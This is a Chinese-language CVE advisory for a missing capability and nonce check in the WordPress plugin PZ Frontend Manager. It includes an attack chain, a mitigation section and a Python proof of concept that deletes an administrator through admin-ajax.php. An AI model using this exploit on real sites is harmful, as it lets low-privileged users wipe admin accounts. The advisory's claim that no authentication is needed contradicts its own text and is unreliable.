CVE-2026-3477 CVSS 5.3 中危

CVE-2026-3477: PZ Frontend Manager权限缺失漏洞

披露日期: 2026-04-08

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-3477

漏洞类型

权限缺失

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

PZ Frontend Manager

漏洞概述

WordPress插件PZ Frontend Manager在1.0.6及之前版本中存在权限缺失漏洞。该漏洞源于`pzfm_user_request_action_callback`函数在处理AJAX请求时未进行能力检查和Nonce验证。当请求参数'dataType'为'delete'时，函数会直接调用`wp_delete_user()`删除指定用户ID，未验证当前用户权限。这导致认证攻击者（如订阅者）可删除任意用户，包括管理员。

技术细节

该漏洞位于WordPress插件PZ Frontend Manager的AJAX处理逻辑中。插件通过`wp_ajax_pzfm_user_request_action`钩子注册了`pzfm_user_request_action_callback`函数，用于处理用户管理请求。尽管该函数处理敏感的用户删除操作，但代码中缺少对当前用户权限的检查（如`delete_users` capability）以及请求Nonce的验证。当攻击者发送POST请求至`/wp-admin/admin-ajax.php`，并设置`action`为`pzfm_user_request_action`，`dataType`为`delete`，并附带目标用户ID时，插件会直接调用`wp_delete_user()`执行删除。对比插件中其他包含`pzfm_can_delete_user()`检查的函数，证实此为开发疏忽。攻击者仅需拥有一个最低权限的WordPress账户（如订阅者）即可利用此漏洞删除网站管理员，导致账户接管或服务中断。

攻击链分析

STEP 1

步骤1

攻击者在目标WordPress站点注册一个低权限账户（如订阅者Subscriber）。

STEP 2

步骤2

攻击者使用该账户登录，获取有效的WordPress身份验证Cookie。

STEP 3

步骤3

攻击者构造恶意的POST请求发送至`/wp-admin/admin-ajax.php`，设置参数`action`为`pzfm_user_request_action`，`dataType`为`delete`，并在`pzfm_user_request`中指定要删除的目标用户ID（如管理员ID）。

STEP 4

步骤4

服务器端接收到请求后，由于缺少权限校验，直接执行`wp_delete_user()`函数删除目标用户。

STEP 5

步骤5

目标用户（如管理员）被删除，攻击者可能利用此机会进行进一步的破坏或接管网站。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
# Cookie of a low-privileged user (e.g., Subscriber)
cookies = {
    "wordpress_logged_in_...": "..."
}

# Exploit Payload
payload = {
    "action": "pzfm_user_request_action",  # The vulnerable AJAX action
    "dataType": "delete",                 # Operation to perform
    "pzfm_user_request": ["1"]            # Target User ID to delete (e.g., Admin ID)
}

try:
    response = requests.post(target_url, data=payload, cookies=cookies)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check if user ID 1 is deleted.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

PZ Frontend Manager <= 1.0.6

防御指南

临时缓解措施

建议立即将PZ Frontend Manager插件升级至修复了该漏洞的最新版本。如果无法立即升级，应暂时禁用该插件以阻断攻击路径。此外，管理员应检查网站用户列表，确认是否有异常的用户删除记录，并确保所有用户账户（特别是管理员账户）使用了强密码以防止被轻易劫持。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表